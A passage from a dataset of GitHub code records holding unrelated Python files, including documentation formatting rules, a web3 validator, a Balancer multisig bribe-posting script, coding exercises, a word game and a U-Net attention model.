{\n            textwrap.dedent('''\\\n.. |<s>| raw:: html\n\n    <s>\n            '''),\n            textwrap.dedent('''\\\n.. |</s>| raw:: html\n\n    </s>\n            ''')\n        }),\n    ]\n\n    @staticmethod\n    def format_sphinx_html(msg, doc_info):\n        for pattern, start_substitution, end_substitution, doc_info_substitutions in DiscordMarkdownHTML.PATTERNS:\n            matches = [match for match in re.finditer(pattern, msg.content)]\n            if len(matches) % 2 == 1:\n                # note: this will \"break\" dpm-advice.dpm-advice.melee.rst line 624\n                #       reason: Inline emphasis start-string without end-string.\n                #       fix: formatting step that replaces trailing * with \\*\n                matches = matches[:-1]\n\n            for index, match in enumerate(reversed(matches)):\n                # set <b> or </b> based on if the match is even or uneven\n                if index % 2:\n                    substitution = align_inline_substitution(msg.content, start_substitution, match.start(), match.end())\n                else:\n                    substitution = align_inline_substitution(msg.content, end_substitution, match.start(), match.end())\n\n                msg.content = msg.content[:match.start()] + substitution + msg.content[match.end():]\n\n                # ensures that there are no duplicates or unused substitutions, that said it's very inefficient\n                for doc_info_substitution in doc_info_substitutions:\n                    doc_info.add(doc_info_substitution)\n\n\nclass Cleanup(SphinxRstMixIn):\n    \"\"\"Remove left-over common sphinx warnings like \"*Note:\" to \"\\*Note:\".\n    \"\"\"\n    @staticmethod\n    def format_sphinx_html(msg, doc_info):\n        msg.content = re.sub(\"\\*\", r\"\\*\", msg.content)\n","repo_name":"Towsti/pvme-guides-sphinx-sandbox","sub_path":"pvme_docs_generator/rules.py","file_name":"rules.py","file_ext":"py","file_size_in_byte":13166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"73073307627","text":"from copy import deepcopy\nfrom actinia_core.models.response_models import ProcessingResponseModel\n\n__license__ = \"GPLv3\"\n__author__ = \"Sören Gebbert, Carmen Tawalika\"\n__copyright__ = (\n    \"Copyright 2016-2021, Sören Gebbert and mundialis GmbH & Co. KG\"\n)\n__maintainer__ = \"mundialis\"\n\n\nclass MapsetLockManagementResponseModel(ProcessingResponseModel):\n    \"\"\"The response content that is returned by the GET request\"\"\"\n\n    type = \"object\"\n    properties = deepcopy(ProcessingResponseModel.properties)\n    properties[\"process_results\"] = {}\n    properties[\"process_results\"][\"type\"] = \"boolean\"\n    required = deepcopy(ProcessingResponseModel.required)\n    example = {\n        \"accept_datetime\": \"2018-05-02 11:03:26.529673\",\n        \"accept_timestamp\": 1525259006.5296717,\n        \"api_info\": {\n            \"endpoint\": \"mapsetlockmanagementresource\",\n            \"method\": \"GET\",\n            \"path\": \"/locations/nc_spm_08/mapsets/PERMANENT/lock\",\n            \"request_url\": \"http://localhost:8080/locations/nc_spm_08/mapsets/\"\n            \"PERMANENT/lock\",\n        },\n        \"datetime\": \"2018-05-02 11:03:26.586348\",\n        \"http_code\": 200,\n        \"message\": \"Mapset lock state: False\",\n        \"process_chain_list\": [],\n        \"process_log\": [],\n        \"process_results\": False,\n        \"progress\": {\"num_of_steps\": 0, \"step\": 0},\n        \"resource_id\": \"resource_id-162101d9-2abc-417e-83ef-dc6f52ed7aaf\",\n        \"status\": \"finished\",\n        \"time_delta\": 0.056743621826171875,\n        \"timestamp\": 1525259006.5863316,\n        \"urls\": {\n            \"resources\": [],\n            \"status\": \"http://localhost:8080/resources/admin/\"\n            \"resource_id-162101d9-2abc-417e-83ef-dc6f52ed7aaf\",\n        },\n        \"user_id\": \"admin\",\n    }\n","repo_name":"actinia-org/actinia-api","sub_path":"src/actinia_api/swagger2/actinia_core/schemas/mapset_management.py","file_name":"mapset_management.py","file_ext":"py","file_size_in_byte":1751,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"36667439309","text":"from urllib import (\n    parse,\n)\n\nfrom ethpm.exceptions import (\n    EthPMValidationError,\n)\nfrom web3 import (\n    Web3,\n)\n\n\ndef validate_w3_instance(w3: \"Web3\") -> None:\n    if w3 is None or not isinstance(w3, Web3):\n        raise ValueError(\"Package does not have valid web3 instance.\")\n\n\ndef validate_empty_bytes(offset: int, length: int, bytecode: bytes) -> None:\n    \"\"\"\n    Validates that segment [`offset`:`offset`+`length`] of\n    `bytecode` is comprised of empty bytes (b'\\00').\n    \"\"\"\n    slot_length = offset + length\n    slot = bytecode[offset:slot_length]\n    if slot != bytearray(length):\n        raise EthPMValidationError(\n            f\"Bytecode segment: [{offset}:{slot_length}] \"\n            f\"is not comprised of empty bytes, rather: {slot!r}.\"\n        )\n\n\ndef validate_escaped_string(string: str) -> None:\n    unsafe = parse.unquote(string)\n    safe = parse.quote(unsafe)\n    if string != safe:\n        raise EthPMValidationError(\n            f\"String: {string} is not properly escaped, and contains url \"\n            \"unsafe characters.\"\n        )\n","repo_name":"ethereum/web3.py","sub_path":"ethpm/validation/misc.py","file_name":"misc.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","stars":4510,"dataset":"github-code","pt":"37"}
+{"seq_id":"11228585438","text":"import requests\nfrom decimal import Decimal, InvalidOperation\n\nfrom brownie import web3, interface\nfrom web3 import Web3\nfrom great_ape_safe import GreatApeSafe\nfrom bal_addresses import AddrBook\nimport csv\nfrom datetime import date\n\naddress_book = AddrBook(\"mainnet\")\naddr_dotmap = address_book.dotmap\n\ntoday = str(date.today())\n\n## Hidden hands ve2 config\nNO_MAX_TOKENS_PER_VOTE = 0 # No limit\nPERIODS_PER_EPOCH = {\n    \"aura\": 1,  # 1x 2 week round\n    \"balancer\": 2  # 2x 1 week rounds\n}\nSNAPSHOT_URL = \"https://hub.snapshot.org/graphql?\"\nHH_API_URL = \"https://api.hiddenhand.finance/proposal\"\nCOWSWAP_DEADLINE = 24*60*60  # 24 hours\nCOWSWAP_SLIPPAGE = 0.005    # 0.05%\nGAUGE_MAPPING_URL = \"https://raw.githubusercontent.com/aurafinance/aura-contracts/main/tasks/snapshot/gauge_choices.json\"\n\n# queries for choices and proposals info\nQUERY_PROPOSAL_INFO = \"\"\"\nquery ($proposal_id: String) {\n  proposal(id: $proposal_id) {\n    choices\n  }\n}\n\"\"\"\n\n# `state: \"all\"` ensures all proposals are included\nQUERY_PROPOSALS = \"\"\"\nquery {\n  proposals(first: 100, where: { space: \"gauges.aurafinance.eth\" , state: \"all\"}) {\n    id\n  }\n}\n\"\"\"\n\ndef get_hh_aura_target(target):\n    response = requests.get(f\"{HH_API_URL}/aura\")\n    options = response.json()[\"data\"]\n    for option in options:\n        if Web3.toChecksumAddress(option[\"proposal\"]) == target:\n            return option[\"proposalHash\"]\n    return False  ## return false if no result\n\ndef get_gauge_name_map(map_url=GAUGE_MAPPING_URL):\n    ## the url was not responding on IPv6 addresses\n    requests.packages.urllib3.util.connection.HAS_IPV6 = False\n    response = requests.get(map_url)\n    item_list = response.json()\n    output = {}\n    for mapping in item_list:\n        gauge_address = web3.toChecksumAddress(mapping[\"address\"])\n        output[gauge_address] = mapping[\"label\"]\n    return output\n\ndef get_index(proposal_id, target):\n    # grab data from the snapshot endpoint re proposal choices\n    response = requests.post(\n        SNAPSHOT_URL,\n        json={\n            \"query\": QUERY_PROPOSAL_INFO,\n            \"variables\": {\"proposal_id\": proposal_id},\n        },\n    )\n    choices = response.json()[\"data\"][\"proposal\"][\"choices\"]\n    choice = choices.index(target)\n    return choice\n\ndef process_bribe_csv(\n       csv_file\n):\n    # Process the CSV\n    # csv_format: target, platform, amount\n    bribe_csv = list(csv.DictReader(open(csv_file)))\n    aura_bribes = []\n    balancer_bribes = []\n    bribes = {\n        \"aura\": {},\n        \"balancer\": {},\n        \"payment\": {}\n    }\n    ## Parse briibes per platform\n    for bribe in bribe_csv:\n        try:\n            bribes[bribe[\"platform\"]][bribe[\"target\"]] = float(bribe[\"amount\"])\n        except:\n           assert False, f\"Error: The following brib didn't work, somethings probs wrong: \\b{bribe}\"\n    return bribes\n\ndef main(\n    csv_file=f\"../../../Bribs/{today}.csv\",\n    usd_fee_token_address=\"0xfebb0bbf162e64fb9d0dfe186e517d84c395f016\" ## bb-a-usd v3\n):\n\n    safe = GreatApeSafe(addr_dotmap.multisigs.fees)\n    safe.init_cow(prod=True)\n\n    usdc = safe.contract(addr_dotmap.tokens.USDC)\n    usdc_mantissa_multilpier = 10 ** int(usdc.decimals())\n\n    usdc_starting = usdc.balanceOf(safe.address)\n\n    safe.take_snapshot([usdc])\n    bribe_vault = safe.contract(addr_dotmap.hidden_hand2.bribe_vault, interface.IBribeMarket)\n    aura_briber = safe.contract(addr_dotmap.hidden_hand2.aura_briber)\n    balancer_briber = safe.contract(addr_dotmap.hidden_hand2.balancer_briber)\n    bribes = process_bribe_csv(csv_file)\n\n    ### Calcualte total bribe\n    total_balancer_usdc = 0\n    total_aura_usdc = 0\n    for target, amount in bribes[\"balancer\"].items():\n        total_balancer_usdc += amount\n    for target, amount in bribes[\"aura\"].items():\n        total_aura_usdc += amount\n    total_usdc = total_balancer_usdc + total_aura_usdc\n    total_mantissa = int(total_usdc * usdc_mantissa_multilpier)\n\n\n    usdc.approve(bribe_vault, total_mantissa + 1) #see if this fixes balance problems\n\n    ### Do Payments\n    payments_usd = 0\n    payments = 0\n    for target, amount in bribes[\"payment\"].items():\n        print(f\"Paying out {amount} via direct transfer to {target}\")\n        usdc_amount = amount * 10**usdc.decimals()\n        payments_usd += amount\n        usdc.transfer(target, usdc_amount)\n        payments += payments_usd * 10**usdc.decimals()\n\n    ### Print report\n    print(f\"******** Summary Report\")\n    print(f\"*** Aura USDC: {total_aura_usdc}\")\n    print(f\"*** Balancer USDC: {total_balancer_usdc}\")\n    print(f\"*** Payment USDC: {payments_usd}\")\n    print(f\"*** Total USDC: {total_usdc + payments_usd}\")\n    print(f\"*** Total mantissa: {int(total_mantissa + payments)}\")\n    print(f\"*** Curent USDC mantissa: {usdc_starting}\\n\\n\")\n    print(f\"Current USDC:\", usdc.allowance(safe.address, bribe_vault) / usdc_mantissa_multilpier)\n\n    ### BALANCER\n    def bribe_balancer(gauge, mantissa):\n        prop = web3.solidityKeccak([\"address\"], [Web3.toChecksumAddress(gauge)])\n        mantissa = int(mantissa)\n\n        print(\"******* Posting Balancer Bribe:\")\n        print(\"*** Gauge Address:\", gauge)\n        print(\"*** Proposal hash:\", prop.hex())\n        print(\"*** Amount:\", amount)\n        print(\"*** Mantissa Amount:\", mantissa)\n        print(f\"Current USDC: {usdc.balanceOf(safe.address) / usdc_mantissa_multilpier}\")\n\n        if amount == 0:\n            return\n\n        b4brib = usdc.balanceOf(safe.address)\n        balancer_briber.depositBribe(\n            prop,  # bytes32 proposal\n            usdc,  # address token\n            mantissa,  # uint256 amount\n            NO_MAX_TOKENS_PER_VOTE,  # uint256 maxTokensPerVote\n            PERIODS_PER_EPOCH[\"balancer\"]  # uint246 periods\n        )\n        assert b4brib - usdc.balanceOf(safe.address) == mantissa, \"Unexpected tokens spent.\"\n\n\n\n    for target, amount in bribes[\"balancer\"].items():\n        if amount == 0:\n            continue\n        mantissa = int(amount * usdc_mantissa_multilpier)\n        bribe_balancer(target, mantissa)\n\n    ### AURA\n    for target, amount in bribes[\"aura\"].items():\n        if amount == 0:\n            continue\n        target = web3.toChecksumAddress(target)\n        # grab data from proposals to find out the proposal index\n        prop = get_hh_aura_target(target)\n        mantissa = int(amount * usdc_mantissa_multilpier)\n        # NOTE: debugging prints to verify\n        print(\"******* Posting AURA Bribe:\")\n        print(\"*** Target Gauge Address:\", target)\n        print(\"*** Proposal hash:\", prop)\n        print(\"*** Amount:\", amount)\n        print(\"*** Mantissa Amount:\", mantissa)\n        print(f\"Current USDC:\", usdc.allowance(safe.address, bribe_vault) / usdc_mantissa_multilpier)\n\n        if amount == 0:\n            continue\n        b4brib = usdc.balanceOf(safe.address)\n        aura_briber.depositBribe(\n            prop,  # bytes32 proposal\n            usdc,  # address token\n            mantissa,  # uint256 amount\n            NO_MAX_TOKENS_PER_VOTE, # uint256 maxTokensPerVote\n            PERIODS_PER_EPOCH[\"aura\"] # uint246 periods\n        )\n        assert b4brib - usdc.balanceOf(safe.address) == mantissa, \"Unexpected tokens spent,\"\n\n    usd = safe.contract(addr_dotmap.tokens.USDC)\n    bal = safe.contract(addr_dotmap.tokens.BAL)\n    print(f\"Current USDC: {usd.balanceOf(safe.address)/ 10** usd.decimals()} is being sent to veBalFeeInjectooooooor\")\n    print(f\"Current BAL: {bal.balanceOf(safe.address)/ 10** usdc.decimals()} is being sent to veBalFeeInjectooooooor\")\n\n    usdc.transfer(addr_dotmap.maxiKeepers.veBalFeeInjector, usdc.balanceOf(safe.address))\n    bal.transfer(addr_dotmap.maxiKeepers.veBalFeeInjector, bal.balanceOf(safe.address))\n    print(\"\\n\\nBuilding and pushing multisig payload\")\n    print (\"Preparing to post transaction\")\n\n    ### DO IT\n    safe.post_safe_tx(gen_tenderly=False)\n\n    ## The line below can be used to replace a nounce of an already loaded transaction in order to avoid having to revoke\n    ## Once any tx is executed on a given nounce, all others will be canceled/impossible.\n    #safe.post_safe_tx(gen_tenderly=False, replace_nonce=0)\n","repo_name":"BalancerMaxis/multisig-ops","sub_path":"tools/python/brownie/scripts/maxi_operations/bribe_ecosystems.py","file_name":"bribe_ecosystems.py","file_ext":"py","file_size_in_byte":8105,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"37"}
+{"seq_id":"26014643968","text":"def count_evens(nums):\r\n  countEve = 0\r\n  for i in range(len(nums)):\r\n    if(nums[i]%2 == 0):\r\n      countEve = countEve + 1\r\n  return countEve\r\n\r\n\r\n\r\ndef big_diff(nums):\r\n  larg = 0\r\n  smol = nums[0]\r\n  for i in range(len(nums)):\r\n    larg = max(larg, nums[i])\r\n    smol = min(smol, nums[i])\r\n  return larg - smol\r\n\r\n\r\n\r\ndef centered_average(nums):\r\n  smol = nums[0]\r\n  big = 0\r\n  for i in range(len(nums)):\r\n    smol = min(smol, nums[i])\r\n    big = max(big, nums[i])\r\n  return (sum(nums)-smol-big)/(len(nums)-2)\r\n\r\n\r\n\r\ndef sum13(nums):\r\n  tot = 0\r\n  for i in range(len(nums)):\r\n    if(nums[i] != 13):\r\n      if(i > 0 and nums[i-1] != 13):\r\n        tot = tot + nums[i]\r\n      elif(i == 0):\r\n        tot = tot + nums[i]\r\n  return tot\r\n  \r\n  \r\n  \r\ndef sum67(nums):\r\n  in67 = 0\r\n  tot = 0\r\n  for i in range(len(nums)):\r\n    if(nums[i] == 6):\r\n      in67 = 1\r\n    elif(in67 == 0):\r\n      tot = tot + nums[i]\r\n    elif(nums[i] == 7):\r\n      in67 = 0\r\n    \r\n  return tot\r\n\r\n\r\n\r\ndef has22(nums):\r\n  for i in range(len(nums)-1):\r\n    if(nums[i] == 2 and nums[i+1] == 2):\r\n      return True\r\n  return False\r\n\r\n\r\n\r\n","repo_name":"epmm/CodingBatSolutions","sub_path":"CodingBatPython/List-2.py","file_name":"List-2.py","file_ext":"py","file_size_in_byte":1106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"20390631375","text":"from datetime import datetime, time \nimport booking \nimport constant\nimport greeting\n\ndef fetch_session():\n   '''\n    6:00am - 7:30am / 7:31am - 11:00am / 11:01am -2:30pm / 2:31pm - 8:30pm / 8:31pm - 12:00am/\n    '''\n   datemask = '%I:%M%p'\n   time_point = []  \n   time_point.append(time(6, 0, 0)) \n   time_point.append(time(7, 30, 0))\n   time_point.append(time(11, 0, 0))\n   time_point.append(time(14, 30, 0))\n   time_point.append(time(20, 30, 0))\n   time_point.append(time(23, 59, 0))\n   \n   now = datetime.now().time()\n   \n   for i in range(0, len(time_point)):\n      if now >= time_point[i] and now <= time_point[i+1]:\n         return 's' + str(i) # s0, s1, s2, ...\n   return 's5'\n   \n'''\n Main process starts here\n '''\nprint ('Enter first interation:')\nuser_input = input() \nusername = 'Sarah' # Fetch username from db\nsession = fetch_session()\n\ninfo = {}\ninfo[constant.CLASS_TYPE] = '' \ninfo[constant.CAMPUS] = '' # Fetch campus from db\ninfo[constant.DATE] = '' # Fetch time from db\ninfo[constant.TIME] = ''  # Fetch time from db \ninfo[constant.DURATION] = '' # Fetch time from db\ninfo[constant.TEACHER] = ''\n\ngreeting.greeting_start(session, username) # Greet users\n\n'''\n Decide route\n'''\n# consider intent  \nbooking.add_booking(user_input, info, session)\n\ngreeting.greeting_end(session)","repo_name":"KathyCat/Eric-B-Wit","sub_path":"process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"35765143300","text":"import os\n\nfrom ray.rllib.utils.annotations import PublicAPI\n\n\n@PublicAPI\nclass IOContext:\n    \"\"\"Attributes to pass to input / output class constructors.\n\n    RLlib auto-sets these attributes when constructing input / output classes.\n\n    Attributes:\n        log_dir (str): Default logging directory.\n        config (dict): Configuration of the agent.\n        worker_index (int): When there are multiple workers created, this\n            uniquely identifies the current worker.\n        worker (RolloutWorker): rollout worker object reference.\n    \"\"\"\n\n    @PublicAPI\n    def __init__(self, log_dir=None, config=None, worker_index=0, worker=None):\n        self.log_dir = log_dir or os.getcwd()\n        self.config = config or {}\n        self.worker_index = worker_index\n        self.worker = worker\n\n    @PublicAPI\n    def default_sampler_input(self):\n        return self.worker.sampler\n","repo_name":"HuantWang/SUPERSONIC","sub_path":"third_party/ray/rllib/offline/io_context.py","file_name":"io_context.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","stars":119,"dataset":"github-code","pt":"37"}
+{"seq_id":"15830147859","text":"print(\"\\n =============================== \\n ====== Roda a Roda do Bau ===== \\n =============================== \\n\")\npalavra = ['chuteira', 'gasolina', 'volante', 'banheiro', 'feijoada', 'pedreiro', 'banheiro', 'sabonete', 'farmacia', 'ambulancia']\ndica = ['Futebol', 'Combustível', 'Automóvel', 'Higiene', 'Comida', 'Profissão', 'Tem em casa', 'Banho', 'Saúde', 'Hospital']\npremio = [100, 200, 300, 400, 500, 600,700, 800,900, 1000, 'Passou a vez', 'Passou a vez',  'Passou a vez', 'Perdeu tudo',' Perdeu tudo']\nnome = input('Digite seu nome: ')\nganho_total_jog = []\nprint(f' \\n O seu saldo em todas as rodadas é {sum(ganho_total_jog)}  reais! \\n')\njogador = float(input('\\n Escolha o seu rival no jogo! \\n Digite 1 para escolher João, 2 para escolher José ou 3 para escolher maria: '))\nimport emoji\nif jogador == 1:\n    print(emoji.emojize(' Seu rival será o João  :person_with_blond_hair:', use_aliases=True))\n    rival = 'João'\nelif jogador == 2:\n    print(emoji.emojize('O seu rival será o José  :rage4:', use_aliases=True))\n    rival = 'José'\nelif jogador == 3:\n    print(emoji.emojize('O seu rival será a Maria   :woman:', use_aliases=True))\n    rival = 'Maria'\nelse:\n    jogador = input('Digite 1, 2 ou 3 para escolher um dos jogadores disponíveis: ')\ntraço = '________  '\npalpites = []\nimport string\nn = 0\np = 2\nimport random\nimport time\n\nwhile n >= 0:\n    print(f'\\n ------------------------------ \\n --------- RODADA {n + 1} -----------\\n ------------------------------ \\n')\n    print(f' \\n O seu saldo em todas as rodadas é {sum(ganho_total_jog)}  reais! \\n')\n    ganho_jogador = []\n    ganho_rival = []\n    y = 0\n    alfabeto = list(string.ascii_lowercase)\n    sorteio = random.sample(palavra, 1)\n    acerto = list('-'*len(sorteio[0]))\n    print(f'\\n A dica é {dica[palavra.index(str(sorteio[0]))]} \\n A palavra é {acerto}')\n\n    while p % 2 == 0 and acerto.count('-') > 0:\n        roda = float(input(' \\n Roda a roda (Digite 1): '))\n        if roda == 1:\n            valor = random.sample(premio, 1)\n            x = 4\n            while x >=0:\n                time.sleep(.5)\n                print(' \\t * \\t')\n                x -= 1\n            print(f' \\n **** {valor} **** \\n ')\n        if str(valor[0]).isnumeric()==True and acerto.count('-') > 3:\n            print(f'\\n A dica é {dica[palavra.index(str(sorteio[0]))]}. Valendo {valor} reais,')\n            letra = input('Digite uma letra: ').lower()\n            if letra in acerto:\n                print(f'A letra {letra} já foi digitada')\n            alfabeto.remove(letra)\n            for i in range(0, len(sorteio[0])):\n                if letra in str(sorteio[0])[i]:\n                    acerto[i] = letra\n                else:\n                    continue\n            print(f'\\n Você digitou a letra {letra}. Painel, tem a letra {letra}? \\n')\n            if letra in sorteio[0]:\n                ganho_jogador.append(acerto.count(letra) * valor[0])\n                print(f'\\n {nome}, você acertou a letra !!!')\n                print(acerto)\n                if acerto.count('-') <= 3:\n                    resposta = input(f' \\n Valendo {sum(ganho_jogador)}, {nome}, digite a palavra completa: ').lower()\n                    if resposta == sorteio[0]:\n                        print(f' \\n A palavra está correta, ganhou {sum(ganho_jogador)} reais!')\n                        ganho_total_jog.append(sum(ganho_jogador))\n                        acerto = str(palavra)\n                    else:\n                        p += 1\n            else:\n                time.sleep(1.3)\n                print(f' \\n A palavra não tem a letra que você digitou, {nome}. Agora é a vez do(a) {rival} \\n')\n                p +=1\n            if premio == 'Perdeu tudo':\n                ganho_jogador = [0]\n        elif str(valor[0]).isnumeric()==True and acerto.count('-') <= 3:\n            print(acerto)\n            resposta = input(f' \\n Valendo {sum(ganho_jogador)}, {nome}, digite a palavra completa: ').lower()\n            if resposta == sorteio[0]:\n                print(f' \\n A palavra está correta, ganhou {sum(ganho_jogador)} reais!')\n                ganho_total_jog.append(sum(ganho_jogador))\n                acerto = str(palavra)\n            else:\n                p += 1\n        else:\n            print(f'iiiiii, {valor[0]}')\n            p += 1\n\n        while p % 2 != 0 and acerto.count('-') > 0:\n            valor_rival = random.sample(premio, 1)\n            print(f' \\n \\n {rival}, é a sua vez. Roda a Roda \\n')\n            x = 4\n            while x >= 0:\n                time.sleep(.5)\n                print(' \\t * \\t')\n                x -= 1\n            print(f' \\n **** {valor_rival} **** \\n ')\n            print(acerto)\n            if str(valor_rival[0]).isnumeric() == True and acerto.count('-') > 3:\n                print(f'\\n Valendo {valor_rival} reais, uma letra: ')\n                letra_rival = random.sample(alfabeto, 1)[0]\n                palpites.append(letra_rival)\n                time.sleep(1)\n                print(f'\\n {letra_rival}')\n                time.sleep(1)\n                print(f' \\n \\n {rival} escolheu a letra {letra_rival}. Painel tem a letra {letra_rival}? \\n')\n                for i in range(0, len(sorteio[0])):\n                    if str(letra_rival) in sorteio[0][i]:\n                        acerto[i] = letra_rival\n                        alfabeto.remove(str(letra_rival))\n                        print(letra_rival)\n                        ganho_rival.append(valor_rival)\n                if str(letra_rival) in sorteio[0]:\n                    time.sleep(.5)\n                    print(f' \\n {acerto}')\n                    time.sleep(.5)\n                    print(f'\\n Tem a letra {letra_rival}, {rival} ganhou {valor_rival*acerto.count(letra_rival)} reais! ')\n                    print(f'\\n Roda a roda {rival}! \\n')\n                else:\n                    time.sleep(.5)\n                    print(acerto)\n                    time.sleep(.5)\n                    print(f'\\n Não tem a letra {letra_rival}. \\n {nome} é a sua vez, roda a roda! \\n ')\n                    p +=1\n            if str(valor_rival[0]).isnumeric() == False:\n                print(f'iiiiii, {rival}, {valor_rival[0]}')\n                p +=1\n                n += 1\n            if str(valor_rival[0]).isnumeric() == True and acerto.count('-') <= 3:\n                ganho_rival.append(valor_rival[0])\n                print(f'\\n {rival}, digite a palavra completa!')\n                time.sleep(1)\n                print(sorteio)\n                time.sleep(.8)\n                #print(f'{rival} acertou a palavra e ganhou {sum(ganho_rival)} reais!')\n                acerto = str(palavra)\n                p += 1\n    n += 1\n\n\n\n\n\n\n\n\n","repo_name":"Helson-Gomes/Roda_a_Roda_Python","sub_path":"Roda_a_Roda.py","file_name":"Roda_a_Roda.py","file_ext":"py","file_size_in_byte":6716,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"15227313412","text":"\"\"\" UnetAttention model \"\"\"\nimport tensorflow as tf\n\nfrom ..batchflow.batchflow.models.tf import EncoderDecoder\nfrom ..batchflow.batchflow.models.tf.layers import conv_block\n\nclass UnetAtt(EncoderDecoder):\n    \"\"\"Class for Unet Attention model.\"\"\"\n\n    @classmethod\n    def default_config(cls):\n        config = super().default_config()\n\n        body_config = config['body']\n\n        config['body'] = None\n        config['body/main'] = body_config\n        config['body/attn'] = body_config\n\n        return config\n\n    def initial_block(self, inputs, *args, **kwargs):\n        _ = args, kwargs\n        return inputs\n\n    def body(self, inputs, *args, **kwargs):\n        _ = args\n        raw, offset = inputs\n\n        main_config = kwargs.pop('main')\n        attn_config = kwargs.pop('attn')\n\n        main = super().body(raw, name='main', **{**kwargs, **main_config}) # pylint: disable=not-a-mapping\n        att = super().body(raw, name='attention', **{**kwargs, **attn_config}) # pylint: disable=not-a-mapping\n        return main, att, raw, offset\n\n    def head(self, inputs, *args, **kwargs):\n        _ = args, kwargs\n        main, att, raw, offset = inputs\n\n        #Get a single channel with sigmoid activation for the attention branch\n        att = conv_block(att, layout='ca', kernel_size=3, filters=1, units=1,\n                         activation=tf.nn.sigmoid, name='head_att')\n\n        #Quick estimation of sigmoid center location\n        att_sum = tf.reduce_sum(att, axis=1, keepdims=True)\n\n        #Define a domain for sigmoid function\n        sigm_x = tf.fill(tf.shape(att), 0.0)\n        arange = tf.range(0, tf.cast(tf.shape(sigm_x)[1], 'float'), dtype='float')\n        arange = tf.expand_dims(arange, axis=-1)\n        sigm_x = sigm_x - arange\n\n        #Shallow network that estimates sigmoid center location and shoothness\n        #based on its quick estimation and offset\n        shift_in = tf.concat([tf.squeeze(att_sum, axis=1), offset], axis=1)\n        shift_in = tf.layers.dense(shift_in, 16, activation=tf.nn.elu)\n        shift_in = tf.layers.dense(shift_in, 16, activation=tf.nn.elu)\n        sigmoid_center = tf.layers.dense(shift_in, 1, activation=tf.nn.relu)\n        self.store_to_attr(\"sigmoid_center\", sigmoid_center)\n\n        #Shift and stretch sigmoid domain based on network estimations\n        sigmoid_center = tf.expand_dims(sigmoid_center, axis=-1)\n        sigm_x = sigm_x + sigmoid_center[:, :1]\n\n        #Apply sigmoid function to the above obtained domain\n        attention_sigmoid = tf.sigmoid(sigm_x)\n        self.store_to_attr(\"attention_sigmoid\", attention_sigmoid)\n\n        #Get a single channel with linear activation for the main branch\n        main = conv_block(main, layout='c', filters=1, units=1, name='head_main')\n        self.store_to_attr(\"out_main\", main)\n\n        #Get a model output that is a superposition of raw input and main branches\n        #according to attention mask\n        out_lift = raw * attention_sigmoid + main * (1 - attention_sigmoid)\n        self.store_to_attr(\"out_lift\", out_lift)\n\n        return tf.stack([out_lift, attention_sigmoid], axis=0)\n\ndef attention_loss(targets, predictions, balance, **kwargs):\n    \"\"\"Loss function for Unet Attention model\n\n    Parameters\n    ----------\n    targets : tensor\n        Target values.\n    predictions : tensor\n        Predicted values.\n    balance : tensor\n        Balance coeffitient between L1 loss and attention mask area.\n\n    Returns\n    -------\n    loss : tensor\n        Computed loss.\n    \"\"\"\n    _ = kwargs\n    out_lift = predictions[0]\n    attention_sigmoid = predictions[1]\n    loss = (tf.losses.absolute_difference(targets, out_lift) +\n            balance * tf.reduce_mean(1 - attention_sigmoid))\n    tf.losses.add_loss(loss)\n    return loss\n","repo_name":"learnserd/SeismicPro","sub_path":"seismicpro/models/unet_attention.py","file_name":"unet_attention.py","file_ext":"py","file_size_in_byte":3764,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"37"}
+{"seq_id":"25097109178","text":"\"\"\"ascii.py -- Has routines python_data <=> ascii_files.\"\"\"\nimport logging\nlog = logging.getLogger('ascii')\n\nimport types\n\nimport numpy\n\n#===========================================================\n# Routines for importing / exporting to simple ascii files\n\ndef asciiRowToStrings(filename):\n    \"\"\"\n    @description\n\n      Extracts and returns a list of strings from the first row of the file.\n      \n    @arguments\n\n      filename -- string \n\n    @return\n\n      string_list -- list of string\n\n    @exceptions\n\n    @notes\n    \"\"\"\n    f = open(filename, 'r')\n    line = f.readline()\n    f.close()\n    \n    if ',' in line:\n        line = line.replace(',', ' ')\n        \n    strings = line.split()\n        \n    return strings\n\ndef asciiTo2dArray(filename):\n    \"\"\"\n    @description\n\n      Extracts and returns a 2d array from the file; one row in X\n      for each row of file.\n      \n    @arguments\n\n      filename -- string -- indicates file to extract data from\n\n    @return\n\n      X -- 2d array of float [row #][column #] -- extracted output data\n\n    @exceptions\n\n    @notes\n    \"\"\"\n    X = []\n    f = open(filename, 'r')\n\n    \n    for line in f:\n        if ',' in line:\n            line = line.replace(',', ' ')\n            \n        numbers = [float(entry) for entry in line.split()]\n        if numbers:\n            X.append(numbers)\n\n    f.close()\n    X = numpy.array(X)\n    log.info('Loaded in array of size %d x %d from %s' %\n             (X.shape[0], X.shape[1], filename))\n\n    #HACK: make an array with 1/factor of the values\n#     log.info(\"Make reduced: begin\")\n#     factor = 10\n#     filename_red = filename + '.reduced' + str(factor)\n#     X_red = numpy.take(X, range(0, X.shape[0], factor), 0)\n#     arrayToAscii(filename_red, X_red)\n#     log.info(\"Make reduced: size %d x %d, filename = %s; done\" %\n#              (X_red.shape[0], X_red.shape[1], filename_red))\n\n    return X\n\ndef arrayToAscii(filename, X):\n    \"\"\"\n    @description\n\n      Puts 2d array X into ascii\n      \n    @arguments\n\n      filename -- string -- file to create\n      X -- 2d array -- \n\n    @return\n\n      <<nothing>> but a file is created\n\n    @exceptions\n\n    @notes\n    \"\"\"\n    f = open(filename, 'w')\n    num_rows, num_columns = X.shape\n    for row_index in range(num_rows):\n        s = \"\"\n        for col_index in range(num_columns):\n            s += \"%g \" % X[row_index, col_index]\n        s += \"\\n\"\n        f.write(s)\n    f.close()\n\ndef stringToAscii(filename, string):\n    stringsToAscii(filename, [string])\n\ndef stringsToAscii(filename, strings, add_whitespace=True):\n    \"\"\"\n    @description\n\n      Puts list of strings into one row of an ascii file\n      \n 